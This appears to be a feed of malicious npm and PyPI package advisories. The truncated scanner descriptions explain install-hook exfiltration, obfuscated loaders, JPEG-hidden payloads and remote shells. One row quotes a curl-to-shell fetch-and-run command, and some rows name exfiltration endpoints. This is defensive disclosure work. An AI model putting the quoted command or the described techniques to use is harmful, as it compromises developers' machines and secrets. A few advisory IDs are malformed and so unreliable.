GHSA-6g8g-gw7h-prch	New					npm:xsjukcnv8low26	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c18a0eb3bfed72107b77ceb231f89637cb4efe0babbceae9e2bc84873fed6a3f) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (31fbcf63f627bd8f18175c6aee00569e378ee84c64d26000b9bf89e68e14a81d) Any computer that has this ...
GHSA-76wq-hx78-mw6x	New					npm:z-deno-truth-va499w	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (15eac14147cef5198c35e6b4015dba5adfcc4bba395165a92a861cc6b13869dd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-7chm-5cxc-2wx2	New					npm:envforge3	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3770550d6db043006c8b2aa75dcac951db1cd9eb7494b0259d7eb69d28f26e32) On require() of the package's main entry, dist/index.cjs invokes dispatchAnalytics() at module top level. That routine reads dist/stest.jpg, extracts bytes hidden inside the JPEG's APP13 (0xED) marker segment, and execut...
GHSA-7m76-mq8-5-8c7w	New					npm:@test1230504/test-publish-verify	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (b7ea9c6779e576936608ba007f9f5f3b00a467f2de06dcaa63306ce2cbc676ad) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-8344-w2r2-rxp2	New					npm:ndmcjcxiebysfdb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5d6d78591ddbd2abc8045f5bdbe7694d000b3508dc8df6393ffd46d093351ef4) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (cb5a86c3600fb60247dd1969b1d80db9f9a17c74b0dc50519bcb3e37bbae6fff) Any computer that has this ...
GHSA-8h24-fp89-4cw3	New					npm:@wizloft/harness-authority	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (2542159f7d73b577f433cb116a9daa153a2fe6ec1732e7e1c5619dcb0d81aefc) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-9572-4cpv-x2hp	New					npm:@test1230504/string-format-helper	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (3db7a7676eff4019a9ea78b6c9dd142798bde72fd9ed62fc031b01312c8d3d7e) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-cppx-756q-g98p	New					npm:lufzxyuiwbgsp	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (28fe33e3ef1fb00e811cf24d940bb469190f27f2759963838cedbdf4e5d4da09) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (eded47583b1ea4a32ff3bc0079889a3111b256d96680ff017f213ae845280721) Any computer that has this ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-cv26-mq7q-h5hq	New					npm:@wizloft/harness-commands	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (153aebb3135239cb82a30714bb331584ae8c75bb4808a75f5690c37b279e51b3) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-f232-pcw4-j7qg	New					npm:mob4zchvuine	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f22c6a37f547c13e9444268b7cf9484c580ec5e15d5e6a1207bdcdfc7be2ff35) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (129dd2474e7ed7dd5a3e73088e558a1030fd979cac30f8734162f6a8289ed0a2) Any computer that has this ...
GHSA-f8xr-gjfq-xfc p	New					npm:z-deno-truth-bwhlsz	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (b89fbde3be8da5aea0248c87b80d27aea1519fc5bb124d34bce0443ee7fd64ad) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-fc7h-qf7q-qxw4	New					npm:iso-datetime-core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (e9db51cfb135f41debd79f82f4bd905994ecdb54d08811d3755ac66aed13cb05) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-fjp4-jprr-4jip6	New					npm:ndmcmsujey	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7d10bd4751b8aa4de0e747f955230af0c50c2df3f6423f0a88cbcf392d0410d8) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (7f981943a6cf749975ba9ddd26c6b08a1b0bea6a4a29148634fd562475dc476) Any computer that has this ...
GHSA-g9m6-qcpw-g96x	New					npm:debounce-throttle-base	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (2799630960bce0578627557c1a8c41369d2a1556f9632d6491903f17f21d7a39) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-gmm9-q3gf-4hfr	New					npm:webp-https-errors	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (447aba02eddd7913b1520b8d21892e996cecbdf100ba2a772cbff3cb14fa74f2) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-h48r-xx59-h44r	New					npm:tailwind-form-styles	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (353df78be0134825a2efc6d7e4d4cbf25dfba4d057925e64fc117e78a3f2814a) The package presents itself as a Tailwind CSS forms plugin but its main entry src/index.js is heavily obfuscated (obfuscator.io-style rotated string array of 303 entries, hex-named identifiers, control-flow flattening) a...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-h8xg-3hfp-rx6q	New					npm:envforge2	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9033f3a6856b87cc07c657d93ce184d02db70e8bb67ea2319e634b7531640c11) envforge2@1.0.1 ships a hidden Windows dropper that fires automatically both on `require('envforge2')` (via dist/index.cjs) and on invocation of the bundled `dot2env` CLI (via dist/cli.cjs). Top-level module code in both...
GHSA-hmmw-27v2-3qc8	New					npm:@wizloft/harness-cli-adapter	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (f530bcd1820c18dbf9109139f6895ba89b5bec5b18ac374b85398844c0eabccf) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-hqgj-c9q6-8qv8	New					npm:tib2jcvowuyma	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3b7dad69d2e0593c1c42f8b0e905a0b002d30bccf9ea14d59f2da6ac313c1a48) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (c1b60c2dd39c0ec646a165f3f68de765d29743a86ed4ea60b108369e7800f94a) Any computer that has this ...
GHSA-j2f6-x53f-2qqf	New					npm:luftmvfiwgxydes	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e487d10b32b0e42f4ed6478fa461451bcacc8eb9d679a58931bc474c339feae7) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (8cf9f25e87c3310292b60b507773f9689e59eeb6e950eb2e6a7c44b68deea04e) Any computer that has this ...
GHSA-j87m-pgqx-mpg5	New					npm:kamafhbnowct	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (646021a6b47fafd23415f7357b91660f4ce18545fa5f9b2ba370842c632fb92d) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (87e15811e108a2a80c81c60340e92751a09556a88009dab85d150e1dad45a8a2) Any computer that has this ...
GHSA-j96p-xm58-6233	New					npm:solo-async-pipe	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (419538617e0e07800ec7fb28e19be25e6b99687548af5ba4ae82ae486daca882) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-jpfv-9923-q8rq	New					npm:sysverify	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7edfe23ae0c8a79c155c23e410616585061296886bb752d734feb1b2180ffc82) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (8008a1e9c2d030052d43e48fa5d92d822dd781b6a686a53134b73ce34893da5d) Any computer that has this ...
GHSA-m877-5x7f-7r88	New					npm:semver-bump-io	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (49c66af9c077b6704b080c07e6aeca29f2f569668ee0bed678a9d370cc886051) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-mjfi-x5qx-p7v8	New					npm:@wizloft/harness-evidence	--- _-= Per source details. Do not edit below this line.=_ ## Source: ghsa-malware (df1e54dc6763e284dc9a6e7c32583fed8ff36a3a8f7e3c825f6582f679759772) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-pmhv-gqr9-wrgr	New					npm:kambxjowhdsgyw	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (966589b88833a788509808e69f3fd935c370ff4093b9fc3fb50482431434a6b5) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (24a5333661877d64a01408993c063ef6f4a943dd4024c01943a63f527a030514) Any computer that has this ...
GHSA-q5vm-6mhj-qq8c	New					npm:ndmckauxuoincv	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (dfd29f430051fb1e4809ff59728851a683aa0fc25eabec2f807067e928245222) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (b2ead64a8b8d2576b6de636600ea433cdb579cbbf3a0aea98bb0d3c23f041d03) Any computer that has this ...
GHSA-q6m6-3rfx-7f62	New					npm:@htttt/mcp-npx-fetch-1	--- _-= Per source details. Do not edit below this line.=_ ## Source: ghsa-malware (73432c5cbb8e74b1a4b66e91fdbde0eda311176dbef0301b13605d75bdd299ff) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-q747-c2cv-gfhj	New					npm:envparse2	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (59aed7381a2a7026336f5e79671e05e9313688533ca35e15cf7010a975c2c897) On require() of the package's main entry and on invocation of the `dot2env` CLI, the module reads the bundled `dist/stest.jpg`, parses JPEG markers, and extracts a UTF-8 string from the APP13 (0xED) segment. The extracte...
GHSA-qff9-mw3p-hg4c	New					npm:z-deno-truth-ya1t4m	--- _-= Per source details. Do not edit below this line.=_ ## Source: ghsa-malware (4d4b654f352c1ae38d5610d9b3d5618b066b7c0b387163c9009749181211efa8) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-r4h9-57fh-5fj3	New					npm:better-md	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (6d2f690a34e0e9b3a8df4caf676f30b542d8dc710033dc70dd6e3c18ee3a1fa) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (5019a4be2f8763923083356512dfb9fb8b1a1247b05711d8e042c38d2fcc694b) Any computer that has this ...
GHSA-r4qq-8p58-gfpv	New					npm:@wizloft/harness-plugin-memory-context	--- _-= Per source details. Do not edit below this line.=_ ## Source: ghsa-malware (8f3c19162b88e3e800090cd1ebf21d351e27126fa964f4084286612b1637bb40) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-vcg8-c5h2-55w6	New					npm:tibcwmpeafh	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8972beee1619a236a6811896c8f7c2bded94a428c0de8f6861e7ef956b63fb9a) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (88f37f8ed5eb94694480f911bedc66f227369d0d0ac56075084335ed77ddf140) Any computer that has this ...
GHSA-vq77-3r62-c2cx	New					npm:envparse3	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (910a8a8e205bc9a9540696320007c14926950b5a4f832efc577f2fd67ddc80a4) On require('envparse3'), the package's main entrypoint invokes a top-level function (dispatchAnalytics) that reads a bundled image dist/stest.jpg, extracts a hidden payload from the JPEG APP13 (0xED) segment, writes a se...
GHSA-xj44-gx57-mm59	New					npm:@wizloft/harness-project	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (328a1e142939c4523f9be9f14f94ae40f314f2c8ff7f2531e7474c02100ec523) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-xvmw-wchq-f7p8	New					npm:lufxchwmxwyps	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (429d0ebe2bf5d42b37720d76547ef6105c01c3276283fd64836d42ed209d732a) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (bb7f71c5d9ca8475c40a8964e1f104c4edea846f5074796d597fed19077a3b4e) Any computer that has this ...
MAL-2026-16377	New					PyPI:cloushaar-poc-exfil-91827	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (58b36f7c6e3e2e536f43b51acc410985240e6de6d7bb1e1d78126131e88806f) The package's setup.py, executed automatically during pip install, iterates a hardcoded list of installer-side filesystem paths (/flag, /flag.txt, /app/flag, /root/flag, and similar candidates), reads their contents, and...
MAL-2026-16378	New					npm:@tesla-insurance/vinless-quote	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4eebad2e44558080fee7f934edca91a78944985dae167e603557eb3144d43730) The package declares an `install` lifecycle script (`node index.js`) that loads `runtime/support/telemetry/probe/impl.js`. On `npm install`, this probe collects the OS username (`os.userInfo().username`), hostname (`os.h...
MAL-2026-16379	New					npm:@user-services/web-component s	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (02523ee1cb3bbb9119054ec3ed14ffc62d0d33ae3bd44dc29312c772cdba106b) @user-services/web-components@9.9.10 fires a hidden telemetry probe on both the npm install lifecycle (`node index.js`) and on every `require()` of the module. The probe in probe/impl.js reads os.userInfo().username, os....
MAL-2026-16380	New					npm:chai-logger	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (566e54855d730e8555b93da4f8ea81faba72645079a7adcc3a05ea8bf8ad8ee6) The package presents itself as a Chai logging plugin but its main entry `index.js` requires `./lib/query.js`, a ~4 MB obfuscator.io-encoded module (23,868-entry rotated string array, T/j decoder wrappers, hex-property in...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16381	New					npm:cisco-github-simple	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2281890525d50138fab3030e71561f01f898fe9b97d56d2a894f1abf30632205) The package declares a preinstall lifecycle hook (`node index.js`) that runs automatically on `npm install`. index.js collects host reconnaissance from the installer — os.hostname(), os.userInfo().username, home director...
MAL-2026-16382	New					npm:take-home-caller-id	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a1adcf7c4b091ee35e021af3f4f886f5c8cc6f34b255315ab9767c3fdda5dcfe) package.json declares a preinstall hook that runs index.js on npm install. index.js collects host identifiers via os.hostname() and os.userInfo(), reads homedir, DNS server list, and cwd, and reads /etc/passwd and /etc/h...
MAL-2026-16383	New					npm:mxdriver	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2f3ed1442f0588fda7bc378a0fe79c7170864472c6cca93b8ec6629645b1add0) The npm package mxdriver@0.0.2 ships obfuscator.io-style string-array-obfuscated preinstall and postinstall scripts (scripts/preinstall.js, scripts/postinstall.js). On npm install, the decoded scripts fetch remote conten...
MAL-2026-16384	New					npm:tldriver	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c16e29eeb8037e1166c10990a8e8f9424095dacc208961fd85775b1b14470995) The npm package tldriver@0.0.1 contains byte-identical scripts/preinstall.js and scripts/postinstall.js that are heavily obfuscated using obfuscator.io-style string-array indirection (identifiers such as _0x5694, _0x5c7e...
MAL-2026-16385	New					npm:tlxbnhd	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e415dbf226269704c2cd28b1783cf594f96880dd4688b26caf7f25a19e268237) The tlxbnhd package ships obfuscated preinstall.js and postinstall.js lifecycle scripts that, on npm install, download two files from https://api.imghippo.com/files/hOG8244hc.png (an anonymous image-hosting URL disguised...
MAL-2026-16386	New					npm:@mikudeveloper/baileys	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d03bf7166a5353a0b22409ebbb724ee53f24394c9ff340df668c970772796e28) This package is a fork of Baileys that declares `libsignal` in `package.json` as `github:tenka-san/libsignal-node` — a git dependency with no commit SHA, tag, or integrity check, resolving to whatever HEAD returns at ins...
MAL-2026-16387	New					npm:@mr-supun-fernando/supunmd-bail	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (86c68c82f6ead4ab3b823b81fd6805991bfdd65cdc901d83aeb561cdd8f27b19) package.json declares "libsignal": "github:tenka-san/libsignal-node" — an off-registry dependency source pointing at a personal-user GitHub repository with no commit SHA, no tag, and no integrity check. On `npm install...
MAL-2026-16388	New					npm:nodetokyo	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9ec0e3f7b963353d4d2928e12ca3898cce5100ed3e3537383faa9c7f9a93f203) The package's declared main (launcher.js) executes launch() at module top level, so require('nodetokyo') automatically installs Python 3.12 (via winget or by downloading the python.org installer and running it silently),...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16389	New					npm:noverojava	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a7fb0d1519b05868b34e9e2c1d3588a0596003a5cb53e4cd28fd3a856ecff26) package.json declares the runtime dependency 'libsignal' as 'github:tenka-san/libsignal-node' rather than a registry version range or pinned commit SHA. On 'npm install', npm fetches the current HEAD of that fork's defau...
MAL-2026-16390	New					npm:oracle-redis	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c800d0651330b1c1cd5d9c5cb2b6966eecefb2d2c28949d0670f485d820db3a6) The package publishes as 'oracle-redis' but ships a verbatim copy of the ioredis README, source tree, and repository URL ('git://github.com/luin/ioredis.git'), presenting itself as ioredis under a different name. The 'pa...
MAL-2026-16406	New					PyPI:crypto-trader-py	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (33e855a3ce62e35b613e702e710b81900769c241707c80f6a61462df0927529c) The package presents itself as a crypto trading and backtesting toolkit, but ships no library code matching that description — SOURCES.txt lists only LICENSE, README, setup.py, and egg-info metadata, and top_level.txt is...
MAL-2026-16407	New					PyPI:poly-check-b	--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (0e03276b0825e5aa683a1edd8c9a7f9947888cd03cde8c5351895a0fa3c2fba6) During installation, the package attempts to silently execute code. In analyzed versions, the payload file was missing. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-09...
MAL-2026-16408	New					PyPI:snap-queue	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e0bb29642def9150e89bacf4da4e1a64f7bc972cd145053cbb0feee0baa768f3) The sdist's setup.py defines a '_wus_boot()' function that is invoked at module top-level before 'setup(...)', so it runs automatically on 'pip install snap-queue'. The function uses 'subprocess.Popen' to launch 'pythonw...
MAL-2026-16409	New					npm:ubiquiti-agents-link-mcp	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8827e987697ea6ef619055c53ae1654800a838c18419ffc8a09e872c6f16adc4) The package's bin entry (index.js) runs 'execSync('id')' and collects 'os.userInfo().username' and 'os.hostname()', then HTTPS-POSTs the JSON payload to the hardcoded Burp Collaborator subdomain 'uhffaanwxy0io5bfc0icu5lp...
MAL-2026-16410	New					PyPI:auclean	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (535d1083af63653f3cc6befe23a6fd97cea9b183b95eac92779a5abccdc9d) The pip install of auclean 0.4.2 runs a custom setup.py build_py command that chmod 0755's and executes a 1.8MB bundled Rust ELF binary 'auclean/_auclean_native' with '--init', output suppressed. The package's stated pur...
MAL-2026-16412	New					npm:@tvig-mar/promos-context	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (68c9eeb2e4516c9cab13b7e00458e54ccac15ab6c28eda25b2138ceeeab60f3) The package's 'install' lifecycle script runs 'node index.js', which loads 'runtime/support/telemetry/probe/impl.js'. On every 'npm install', that module dynamically resolves the 'os' and 'dns' core modules via 'module.c...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16413	New					npm:@tvgr-mar/promos-gtm	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0c4ce7a8a15cabec2c11f60085a7b3bac2cc905ef037e5ce28d6dd3dd847ef28) @tvgr-mar/promos-gtm@9.9.10 executes an out-of-band DNS exfiltration routine both at install time (via a scripts.install hook running node index.js) and on require() (top-level module load chain reaching runtime/support/t...
MAL-2026-16414	New					npm:@tvgr-mar/storyblok-bridge	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5750ec8381c607c94fc3c1530662ccef3b296753f9ace22e3f760e5fe9d58af) The package's `scripts.install` runs `node index.js`, which loads a runtime bootstrap that reaches a `telemetry probe` helper. The helper dynamically loads Node built-ins `os`, `dns`, and `process` via `module.constructo...
MAL-2026-16415	New					npm:@tvgr-mar/tvgr-promos-atomic-ui	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (22c22841398a01b681136598baf046a8ad9ad9ef6d728899a0fbce056ff66369) The package's package.json declares an `install` lifecycle script that runs `node index.js`, which loads `runtime/support/telemetry/probe/impl.js`. That file resolves the `os` and `dns` core modules indirectly through `m...
MAL-2026-16416	New					npm:@tvgr-mar/utlis	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (de7194acad05327ce23172c262747b8d6e57d33606580a0b9e722d1ecfee3ab) package.json declares scripts.install="node index.js", which loads runtime/index.js and then support/telemetry/probe/impl.js. That module reconstructs Node core APIs (`os`, `dns`, `process`, `userInfo`, `hostname`, `cwd`...
MAL-2026-16417	New					npm:eslint-config-compact-utlis	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (414c7f8397efb591ffe6f87f9c44e8eb803606eb4789d357abe337d3225cc46f) On require, index.js collects host reconnaissance data (os.hostname(), os.userInfo().username, os.platform(), architecture, Node version, current working directory) together with CI/repository environment variables (CI, ...
MAL-2026-16418	New					npm:n8n-nodes-data-transformer-utlis	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (77b996187dc49e5591ddf3cef428be3a9309e7f5bab48bd4698aed2be0c3dfb0) The package's postinstall.js runs automatically on npm install and combines child_process.execSync with http/https.request and multiple curl invocations to collect host information (including reads of /etc/hosts) and POS...
MAL-2026-16419	New					npm:@gsutevil/hta-stage	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (590b3432b8d849d5772e3be7a4fbc7daeca4aa927be2d411aaf3054d9a223dc9) The package ships a Windows HTA/WSH loader that installs a remote MSI on the victim host under the control of a base URL supplied at runtime via window.__gsutBases. On execution it (1) disables Anti-Malware Scan Interfac...
MAL-2026-16421	New					PyPI:kerokwis	--- _-= Per source details. Do not edit below this line.=-_ ## Source: kam193 (118186230c3ddb5c23ae32df8fed10655f2c64939daa9a09d5ef71f16884a4f0) Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anythi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16433	New					npm:@vitemirrote/element-plus-vite-cli	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (d616b037ed0b4ebbb3a3ddf36963379ea00d4b5f8513641db05e7773dd2696c9) On npm install, package.json's postinstall runs postinstall-run.cjs which chains through bootstrapGradleLifecycle → activateDaemonBridge to materialize lib/gradle/instrumentation/agent-runtime.source.mjs into ~/.gradle/c...
MAL-2026-16434	New					npm:catplatebarcodeparser	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (189a06b0d55d6dab795bcb9ba3a97aa855b2556a54e85e15adc9f5bf20399976) catplatebarcodeparser@99.2.1 declares preinstall and postinstall lifecycle scripts that execute scripts/run.js on `npm install`. That script reads os.userInfo().username and os.hostname() and POSTs them to a hardcoded ou...
MAL-2026-16435	New					npm:catqrconverter	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (3333f7b95e551ebf6ed266fb1de661b7419520ed3a92b05910ede132c7d6757) Package catqrconverter@99.2.1 wires both preinstall and postinstall lifecycle hooks in package.json to execute scripts/run.js. On npm install, run.js reads the installer's OS username via os.userInfo() and hostname v...
MAL-2026-16436	New					npm:efhthrtthregerht	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (4845639223c486cf2d33751ad950cea4c7f70401877929d25c36e7d07655d820) The package's postinstall hook runs index.js, which collects the installer's OS username, current working directory, hostname, and local IPv4 address and POSTs them as JSON to a hardcoded webhook.site collector URL (http...
MAL-2026-16437	New					npm:eslint-plugin-i18n-shreddit	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (3a22687900b0decfe83eda7516ec5c5169401894c98be27d115e5dffe64cf902) eslint-plugin-i18n-shreddit@99.9.9 ships no ESLint plugin code; the tarball's only function is a postinstall hook (scripts.postinstall = 'node index.js') that runs automatically on `npm install`. index.js collects instal...
MAL-2026-16438	New					npm:internallib_v497	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505) npm package internallib_v497@1.0.3 ships an index.js that exports a function which shell-executes `curl http://10.0.5.109/shell.sh   sh` via `child_process.exec('/bin/bash -c...')`, fetching an unauthenticated script ove...
MAL-2026-16439	New					npm:internallib_v550	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (ef32979e04c5e9caca40fb38a9c9ed2b9a75e015e47a580a538b95541012b648) Package internallib_v550 is named to resemble an internal private library and is published to the public npm registry, matching the classic dependency-confusion squat pattern. Its package.json description is 'pwn'. The s...
MAL-2026-16440	New					npm:turbo-ws	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (a25d8c29cbfb317e1c88568514a999618bdeee25b2716b76e3db5062e9dd7a67) package.json at line 43 declares the sole dependency 'node-net-pool' as an HTTPS tarball of the 'main' branch of an unrelated GitHub account (https://github.com/trktgq0wbre1/node-net-pool/archive/refs/heads/main.tar.gz),...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16441	New					npm:moidevl	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (76b05c7a5581562edc719cbaaf2f6b317d322a6a2ef96c9fc905b53394e42101) Despite a README describing a 'Windows diagnostic utility,' the package implements an anti-proctoring overlay for cheating on remote exams (Safe Exam Browser / AMCAT). main.js drives an Electron window hidden from screen...
MAL-2026-16442	New					npm:moudeva	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dec843001e36153e09f56c056031d90bf3bcf909a5fe0469f8b27cbcd7361c3a) The package's main.js references child_process at multiple locations (lines 19, 883, 961) alongside HTTP POST calls (lines 365, 369) to a hardcoded endpoint https://ipc.shadxino.internal (referenced at lines 359 and 453)...
MAL-2026-16443	New					npm:my-company-device	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (bbd39b4115bf373ff8f8d036f1db1cdb58e1fb3712d3330eabad7dbc5796ac4f) Running `npm my-company-device` appends a hardcoded ssh-ed25519 public key labelled `sunyiting-macmini` to the installer's `~/.ssh/authorized_keys` (mode 0o600) and requires that macOS Remote Login (sshd) be enabled and ...
MAL-2026-16444	New					npm:n8n-nodes-healthmon	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7b6e9b877fe50a6a5cdf3cd0af73e755973a6eeeb2940424618a5edfcd9443ed) n8n-nodes-healthmon ships as a purported n8n health-monitoring node but its index.js binds an HTTP server on 0.0.0.0:41111 that reads a JSON body and passes the `c` field directly to child_process.exec, giving any network...
MAL-2026-16445	New					npm:n8n-nodes-metricsagent	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5c0f8f773e26111905993b9bde9babe49611349bbe3ea18d32da0c22692f65f) The package declares a postinstall lifecycle script (package.json scripts.postinstall = 'node postinstall.js true') that requires ./index.js and swallows errors via try/catch. index.js runs _init() at top level, which ...
MAL-2026-16461	New					npm:godxxx	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a22893c200272af03998e9f6c5df91c6e4971b3d2622a80df8eab58b98e0a9a1) cdp_inject.js is declared as the package main and unconditionally calls main() at module top level when the process is not invoked with --stop/--detach, so simply requiring the package starts a loop that polls http://127...
